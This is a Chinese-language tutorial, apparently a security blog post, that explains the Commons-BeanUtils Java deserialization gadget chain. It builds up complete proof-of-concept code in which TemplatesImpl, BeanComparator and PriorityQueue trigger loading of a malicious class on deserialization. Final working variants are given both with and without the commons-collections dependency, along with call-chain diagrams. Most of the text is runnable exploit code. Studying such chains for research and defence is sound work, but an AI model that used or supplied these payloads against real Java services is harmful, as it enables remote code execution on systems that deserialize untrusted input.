Commons-BeanUtils介绍
Apache Commons 工具集下除了collections以外还有BeanUtils,它主要用于操控JavaBean。
JavaBean
就是一个实体类
- JavaBean 类必须是一个公共类,并将其访问属性设置为 public ,如: public class Baby
- JavaBean 类必须有一个空的构造函数:类中必须有一个不带参数的公用构造器,例如:public Baby()
- 一个javaBean类不应有公共实例变量,类变量都为private ,如: private String name;
- 一般JavaBean属性以小写字母开头,驼峰命名格式,相应的 getter/setter 方法是 get/set 接上首字母大写的属性名
Commons-BeanUtils操作JavaBean
1 2
| PropertyUtils.setProperty(对象名,"属性名","属性值"); PropertyUtils.getProperty(对象名,"属性名");
|
通过getProperty()/setProperty方法可以直接执行函数,只要函数名前有get/set,只需要在写入后面的部分,就会执行该函数。
commons-beanutils利用链cc依赖
环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| jdk8u65 <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency>
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency>
|
cb链
恶意类加载部分和cc3l链一样,都是利用TemplatesImpl类的defineClass动态加载类,cc3是链式调用执行newTransformer()方法从而加载恶意类,而cb链是用TemplatesImpl类的getOutputProperties()方法执行newTransformer()方法
1 2 3 4 5 6 7 8
| public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
|
根据CommonsBeanUtils工具,getProperty()函数可执行这个方法,从而加载恶意类
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public class cbTest { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> clazz = templates.getClass(); Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"sb"); byte[] eval = Files.readAllBytes(Paths.get("D:\\Maven\\project\\cb\\commons-beanutils\\src\\main\\java\\cb1\\Evil.class")); byte[][] code={ eval }; Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates,code); Field tfactoryField = clazz.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
PropertyUtils.getProperty(templates,"outputProperties"); } }
|
寻找主动调用 PropertyUtils.getProperty()
BeanComparator.compare()
BeanComparator.compare()方法会主动调用getProperty()
1 2 3 4 5 6 7 8 9 10 11 12
| public int compare( Object o1, Object o2 ) { if ( property == null ) { return comparator.compare( o1, o2 ); } try { Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property ); return comparator.compare( value1, value2 ); }
|
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public class getProperty { public static void main(String[] args) throws Exception{ Person person = new Person(); TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> clazz = templates.getClass(); Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"sb"); byte[] eval = Files.readAllBytes(Paths.get("D:\\Maven\\project\\cb\\commons-beanutils\\src\\main\\java\\cb1\\Evil.class")); byte[][] code={ eval }; Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates,code); Field tfactoryField = clazz.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties"); beanComparator.compare(templates,templates); } }
|
PriorityQueue
关于compare方法,又想起了在cc4利用链中的PriorityQueue类
1
| readObject()->heapify()->siftDown()->siftDownUsingComparator()->BeanComparator.compare()
|
PriorityQueue是个优先队列,因此还是需要往里面添加值
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| public class cb1 { public static void main(String[] args) throws Exception{ Person person = new Person(); TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> clazz = templates.getClass(); Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"sb"); byte[] eval = Files.readAllBytes(Paths.get("D:\\Maven\\project\\cb\\commons-beanutils\\src\\main\\java\\cb1\\Evil.class")); byte[][] code={ eval }; Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates,code); Field tfactoryField = clazz.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(comparator); priorityQueue.add(1); priorityQueue.add(2);
Field property = BeanComparator.class.getDeclaredField("property"); property.setAccessible(true); property.set(comparator, "outputProperties"); serialize(priorityQueue); deserialize();
}
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cb1.bin")); oos.writeObject(obj); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cb1.bin")); Object o = ois.readObject();
} }
|
执行不了命令,调试一下


可以看到最后执行命令的对象是我们传入的队列,因此需要用反射修改传入的数据
1 2 3 4 5
| Field queueField = PriorityQueue.class.getDeclaredField("queue"); queueField.setAccessible(true); Object[] queueArray = (Object[]) queueField.get(priorityQueue); queueArray[0] = templates; queueArray[1] = templates;
|
cb链有cc依赖的最终poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package cb1;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class cb1 { public static void main(String[] args) throws Exception{ Person person = new Person(); TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> clazz = templates.getClass(); Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"sb"); byte[] eval = Files.readAllBytes(Paths.get("D:\\Maven\\project\\cb\\commons-beanutils\\src\\main\\java\\cb1\\Evil.class")); byte[][] code={ eval }; Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates,code); Field tfactoryField = clazz.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(comparator); priorityQueue.add(1); priorityQueue.add(2);
Field property = BeanComparator.class.getDeclaredField("property"); property.setAccessible(true); property.set(comparator, "outputProperties");
Field queueField = PriorityQueue.class.getDeclaredField("queue"); queueField.setAccessible(true); Object[] queueArray = (Object[]) queueField.get(priorityQueue); queueArray[0] = templates; queueArray[1] = templates; serialize(priorityQueue); deserialize();
}
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cb1.bin")); oos.writeObject(obj); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cb1.bin")); Object o = ois.readObject();
} }
|
1 2 3 4 5 6 7 8 9 10 11
| readObject() └─ PriorityQueue.readObject() └─ heapify() └─ siftDown() └─ BeanComparator.compare() └─ PropertyUtils.getProperty() └─ TemplatesImpl.getOutputProperties() └─ TemplatesImpl.newTransformer() └─ TemplatesImpl.getTransletInstance() └─ TemplatesImpl.defineTransletClasses() └─ <clinit> of Evil.class ← 恶意代码执行
|
commons-beanutils利用链无cc依赖
如果没有cc依赖,构造器递归调用就会失败,因为没有ComparableComparator类
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public BeanComparator() { this( null ); } public BeanComparator( String property ) { this( property, ComparableComparator.getInstance() ); } public BeanComparator( String property, Comparator comparator ) { setProperty( property ); if (comparator != null) { this.comparator = comparator; } else { this.comparator = ComparableComparator.getInstance(); } }
|
- 无参构造里写
this(null) → 调用一参构造,参数是 null
- 一参构造里写
this(property, ComparableComparator.getInstance()) → 调用三参构造,参数是你传进去的 property 和 ComparableComparator.getInstance()
- 最终执行最底层构造器里的逻辑,然后返回上一层,一层层返回,整个对象构造完成
换句话说,this(...) 就像在构造器里递归调用其他构造器,只不过是对象构造的一部分。
Comparator接口类
cc依赖的ComparableComparator类实现了Comparator接口,因此需要寻找实现了Comparator接口且可以被序列化的类
CaseInsensitiveComparator
CaseInsensitiveComparator类实现了Comparator接口,且可以被序列化,并且它有compare()方法
通过String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的CaseInsensitiveComparator对象,用它来实例化 BeanComparator
1
| BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
|
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| public class test { public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> clazz = templates.getClass(); Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"sb"); byte[] eval = Files.readAllBytes(Paths.get("D:\\Maven\\project\\cb\\commons-beanutils\\src\\main\\java\\cb1\\Evil.class")); byte[][] code={ eval }; Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates,code); Field tfactoryField = clazz.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(comparator); priorityQueue.add(1); priorityQueue.add(2);
Field property = BeanComparator.class.getDeclaredField("property"); property.setAccessible(true); property.set(comparator, "outputProperties"); Field queueField = PriorityQueue.class.getDeclaredField("queue"); queueField.setAccessible(true); Object[] queueArray = (Object[]) queueField.get(priorityQueue); queueArray[0] = templates; queueArray[1] = templates; serialize(priorityQueue); deserialize();
}
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cb2.bin")); oos.writeObject(obj); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cb2.bin")); Object o = ois.readObject();
} }
|
执行发现报错
1
| Exception in thread "main" java.lang.ClassCastException: java.lang.Integer cannot be cast to java.lang.String
|
传进去的数字队列无法转为字符型,CaseInsensitiveComparator.compare()要求的是字符型,因此,只需要传字符即可
1
| public int compare(String s1, String s2)
|
cb链无cc依赖最终poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| package cb2;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class cb2 { public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> clazz = templates.getClass(); Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"sb"); byte[] eval = Files.readAllBytes(Paths.get("D:\\Maven\\project\\cb\\commons-beanutils\\src\\main\\java\\cb1\\Evil.class")); byte[][] code={ eval }; Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates,code); Field tfactoryField = clazz.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(comparator); priorityQueue.add("1"); priorityQueue.add("2");
Field property = BeanComparator.class.getDeclaredField("property"); property.setAccessible(true); property.set(comparator, "outputProperties"); Field queueField = PriorityQueue.class.getDeclaredField("queue"); queueField.setAccessible(true); Object[] queueArray = (Object[]) queueField.get(priorityQueue); queueArray[0] = templates; queueArray[1] = templates; serialize(priorityQueue); deserialize();
}
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cb2.bin")); oos.writeObject(obj); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cb2.bin")); Object o = ois.readObject();
} }
|
1 2 3 4 5 6 7 8 9 10 11 12
| ObjectInputStream.readObject() └─ PriorityQueue.readObject() └─ PriorityQueue.heapify() └─ PriorityQueue.siftDown() └─ BeanComparator.compare() └─ PropertyUtils.getProperty(o1, "outputProperties") └─ TemplatesImpl.getOutputProperties() └─ TemplatesImpl.newTransformer() └─ TemplatesImpl.getTransletInstance() └─ TemplatesImpl.defineTransletClasses() └─ defineClass() -> 加载 Evil.class └─ static { ... }
|